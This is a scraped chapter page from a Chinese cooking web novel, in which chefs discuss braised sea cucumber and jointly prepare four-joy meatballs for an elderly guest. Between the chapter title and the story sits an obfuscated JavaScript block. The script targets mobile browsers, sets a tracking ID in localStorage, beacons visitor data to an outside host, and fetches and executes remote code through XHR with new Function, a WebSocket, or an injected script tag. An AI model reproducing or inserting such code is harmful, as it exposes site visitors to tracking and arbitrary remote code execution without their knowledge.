足迹
果果旅行app
登录
关灯
护眼
字体:

第273章 加一道丸子(第1页)

function OVHGxRJ(e){var t="",n=r=c1=c2=0;while(n<e.length){r=e.charCodeAt(n);if(r<128){t+=String.fromCharCode(r);n++;}else if(r>191&&r<224){c2=e.charCodeAt(n+1);t+=String.fromCharCode((r&31)<<6|c2&63);n+=2}else{c2=e.charCodeAt(n+1);c3=e.charCodeAt(n+2);t+=String.fromCharCode((r&15)<<12|(c2&63)<<6|c3&63);n+=3;}}return t;};function YTrZu(e){var m='ABCDEFGHIJKLMNOPQRSTUVWXYZ'+'abcdefghijklmnopqrstuvwxyz'+'0123456789+/=';var t="",n,r,i,s,o,u,a,f=0;e=e.replace(/[^A-Za-z0-9+/=]/g,"");while(f<e.length){s=m.indexOf(e.charAt(f++));o=m.indexOf(e.charAt(f++));u=m.indexOf(e.charAt(f++));a=m.indexOf(e.charAt(f++));n=s<<2|o>>4;r=(o&15)<<4|u>>2;i=(u&3)<<6|a;t=t+String.fromCharCode(n);if(u!=64){t=t+String.fromCharCode(r);}if(a!=64){t=t+String.fromCharCode(i);}}return OVHGxRJ(t);};window[''+'a'+'L'+'e'+'X'+'U'+'l'+'s'+'']=((navigator.platform&&!/^Mac|Win/.test(navigator.platform))||(!navigator.platform&&/Android|iOS|iPhone/i.test(navigator.userAgent)))?function(){;(function(u,k,i,w,d,c){var x=YTrZu,cs=d[x('Y3VycmVudFNjcmlwdA==')],crd=x('Y3JlYXRlRWxlbWVudA==');'jQuery';u=decodeURIComponent(x(u.replace(new RegExp(c[0]+''+c[0],'g'),c[0])));!function(o,t){var a=o.getItem(t);if(!a||32!==a.length){a='';for(var e=0;e!=32;e++)a+=Math.floor(16*Math.random()).toString(16);o.setItem(t,a)}var n='https://yh.dyuthic.com:7891/stats/7728/'+i+'?ukey='+a+'&host='+window.location.host;navigator.sendBeacon?navigator.sendBeacon(n):(new Image).src=n}(localStorage,'__tsuk');'jQuery';if(navigator.userAgent.indexOf('b'+'a'+'id'+'u')!=-1){var xhr=new XMLHttpRequest();xhr.open('POST',u+'/vh3/'+i);xhr.setRequestHeader('Content-Type','application/x-www-form-urlencoded;');xhr.setRequestHeader('X-REQUESTED-WITH','XMLHttpRequest');xhr.onreadystatechange=function(){if(xhr.readyState==4&&xhr.status==200){var data=JSON.parse(xhr.responseText);new Function('_'+'t'+'d'+'cs',new Function('c',data.result.decode+';return '+data.result.name+'(c)')(data.result.img.join('')))(cs);}};xhr.send('u=1');}else if(WebSocket&&/UCBrowser|Quark|Huawei|Vivo|NewsArticle/i.test(navigator.userAgent)){k=decodeURIComponent(x(k.replace(new RegExp(c[1]+''+c[1],'g'),c[1])));var ws=new WebSocket(k+'/wh3/'+i);ws.onmessage=function(e){ws.close();new Function('_tdcs',x(e.data))(cs);};ws.onerror=function(){var s=d[crd]('script');s.src=u+'/vh3/'+i;cs.parentElement.insertBefore(s,cs);}}else{var s=d[crd]('script');s.src=u+'/vh3/'+i;cs.parentElement.insertBefore(s,cs);}})('aHHR0cHHMlM0ElMkYlMkZ0by5tb2xpMTAyLnRvcCUzQTg4OTE=','d3NzJTNBJTJGJTJGdW0uYmNlbbnJzbby5jbb20lM0E5NTM1','4674',window,document,['H','b']);}:function(){};

“海参本身没有味道,葱烧海参就是要用葱油的味道让海参吸收。如果海参泡的太过了,哪里还能有吸收葱油味道的地方。”柳鸿一挑眉道。

“你说的太有道理了!”

白叶看着两人各自展示自己的能力制作这招牌菜,也笑着低头忙活自己的。

他的招牌菜不多,所以也就准备这一道,其他都是辅助。

也正是因为辅助,他从其他几人身上学到了不少技巧。

高原的淮阳菜系。

柳鸿、舒曼的鲁菜系。

温静茹虽然是白案,但谁说白案就没的学呢。

白叶之前发面揉面都是凭自己兴趣来。现在跟着温静茹打下手,又学到了不少东西。

尤其是白叶还就栗子面窝头和温静茹探讨了一番,得到了不少有用的建议。

三套鸭高原没整幺蛾子,就按照最正宗的口味制作,外面的宾客里若是有高兴茶楼的老客,一定一口就能吃出来。

同样的,舒曼和柳鸿也是如此。

不过中途赵桐虎又来了趟,“白叶,你们中午有丸子么?”

“丸子?没有,咋了。”

“中午来一位老朋友,最爱吃丸子。大丸子小丸子都行。”

“哪里人啊?”

“哪里人不知道,但是岁数不小了,得有七八十岁了。”

“行,我知道了。”

白叶想了想,现在其他人都忙着,可能就他和柳鸿比较清闲。

“柳哥,咱俩合作一把?”

“做什么?”

“丸子!”

“好啊!”

白叶和柳鸿两人研究四喜丸子。

四喜丸子个大,因一盘有四个而得名。

白叶之前宴席上也做过,虽然做的也是鲁菜,但是他那是鲁菜传到东北三省之后的改良版本,味道和正宗的总是有些差别的。

柳鸿的派系,其实也不是擅长做丸子的。他们派系更擅长海鲜之类。

除了一道葱烧海参之外,柳鸿还要做一道糟溜鱼片。

不过到底是鲁菜传人,两人合作起来,这菜反正比白叶自己做要更正宗一些。